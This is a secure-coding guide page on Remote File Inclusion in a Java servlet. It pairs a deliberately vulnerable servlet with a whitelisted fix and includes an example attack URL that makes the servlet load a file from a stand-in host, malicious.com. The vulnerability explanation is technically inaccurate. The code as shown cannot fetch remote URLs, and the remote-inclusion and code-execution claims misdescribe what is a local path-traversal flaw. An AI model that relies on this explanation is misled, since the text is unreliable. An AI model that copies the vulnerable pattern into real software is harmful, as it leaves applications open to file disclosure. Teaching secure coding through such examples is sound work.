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Remote File Inclusion

Need​

Prevention of remote file inclusion attacks

Context​

  • Usage of Java for building cross-platform applications
  • Usage of javax.servlet for Java web development with servlets and JSP
  • Usage of java.io for input and output operations in Java

Description​

Non compliant code​

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class FileInclusionServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String file = request.getParameter("file");
        ServletContext context = getServletContext();
        InputStream is = context.getResourceAsStream("/WEB-INF/" + file);
        if (is != null) {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader reader = new BufferedReader(isr);
            PrintWriter writer = response.getWriter();
            String text = "";

            while ((text = reader.readLine()) != null) {
                writer.println(text);
            } 
        } 
    } 
}

The above Java servlet code is vulnerable to Remote File Inclusion (RFI) attack. The servlet takes a file name as a parameter from the request and includes the content of the file in the response.

Here's how the vulnerability works:

  1. The doGet method of the servlet is called whenever a GET request is made to the servlet.

  2. The request.getParameter("file") function retrieves the file name from the query parameters of the request.

  3. The context.getResourceAsStream("/WEB-INF/" + file) function then tries to load the file from the "/WEB-INF/" directory of the application.

  4. If the file exists and can be read, its content is written to the response and sent back to the client.

The issue with this code is that it doesn't validate or sanitize the "file" parameter. This means an attacker can provide a path to a file that resides outside of the intended directory ("/WEB-INF/") or even on a different server. For example, an attacker could make a request like http://example.com/FileInclusionServlet?file=http://malicious.com/maliciousFile. This would result in the servlet loading the malicious file from the remote server and including its content in the response. This could lead to sensitive data leakage, remote code execution, or other security issues.

Steps​

  • Sanitize user input: Validate and sanitize the 'file' parameter received from the user to prevent any malicious input.
  • Implement a whitelist: Maintain a whitelist of allowed files that can be accessed by the application. Only allow access to files that are explicitly listed in the whitelist.
  • Use a secure file path: Instead of directly concatenating the user-provided 'file' parameter with the file path, use a secure file path construction method that ensures the file is loaded from a trusted location.
  • Implement access controls: Restrict access to sensitive files by implementing proper access controls. Only allow authorized users or roles to access certain files.
  • Disable remote file inclusion: Disable the ability to load and execute files from remote locations altogether. Instead, only allow files that are present within the application's local file system.
  • Implement input validation: Validate the 'file' parameter to ensure it adheres to a specific format or pattern. Reject any input that does not meet the expected criteria.
  • Implement file extension validation: Validate the file extension of the 'file' parameter to ensure it matches the expected file type. Reject any input with invalid or unexpected file extensions.
  • Implement file content validation: Validate the content of the file to ensure it does not contain any malicious code or scripts. Use appropriate techniques such as file signature analysis or content scanning to detect potential threats.
  • Implement secure file handling: Use secure file handling techniques to prevent any unintended execution of the file's content. For example, use appropriate file reading methods that do not execute any embedded scripts or commands.
  • Regularly update and patch dependencies: Keep all libraries, frameworks, and server components up to date with the latest security patches to mitigate any known vulnerabilities.

Compliant code​

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.nio.file.Paths;
import java.util.List;
import java.util.Arrays;

public class FileInclusionServlet extends HttpServlet {
    private static final List<String> WHITELIST = Arrays.asList("file1.txt", "file2.txt");

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String file = request.getParameter("file");

        // Input validation
        if (file == null || file.isEmpty()) {
            throw new ServletException("Invalid file parameter");
        }

        // File extension validation
        String fileExtension = getFileExtension(file);
        if (!"txt".equals(fileExtension)) {
            throw new ServletException("Invalid file extension");
        }

        // Whitelist validation
        if (!WHITELIST.contains(file)) {
            throw new ServletException("Access to the requested file is not allowed");
        }

        ServletContext context = getServletContext();
        String fullPath = Paths.get("/WEB-INF/", file).toString();
        InputStream is = context.getResourceAsStream(fullPath);

        if (is != null) {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader reader = new BufferedReader(isr);
            PrintWriter writer = response.getWriter();
            String text = "";

            while ((text = reader.readLine()) != null) {
                writer.println(text);
            } 
        } 
    }

    private String getFileExtension(String fileName) {
        int dotIndex = fileName.lastIndexOf('.');
        return (dotIndex == -1) ? "" : fileName.substring(dotIndex + 1);
    }
}

The updated code includes several security measures to prevent Remote File Inclusion attacks:

  1. Input validation: The 'file' parameter is checked to ensure it is not null or empty. If it is, a ServletException is thrown.

  2. File extension validation: The file extension of the 'file' parameter is validated to ensure it is a text file. If it is not, a ServletException is thrown.

  3. Whitelist validation: The 'file' parameter is checked against a whitelist of allowed files. If the file is not in the whitelist, a ServletException is thrown.

  4. Secure file path construction: The file path is constructed securely using the Paths.get() method, which ensures the file is loaded from a trusted location.

The above measures ensure that only valid, whitelisted text files within the application's local file system can be accessed. This prevents an attacker from loading and executing malicious files from remote locations.

References​

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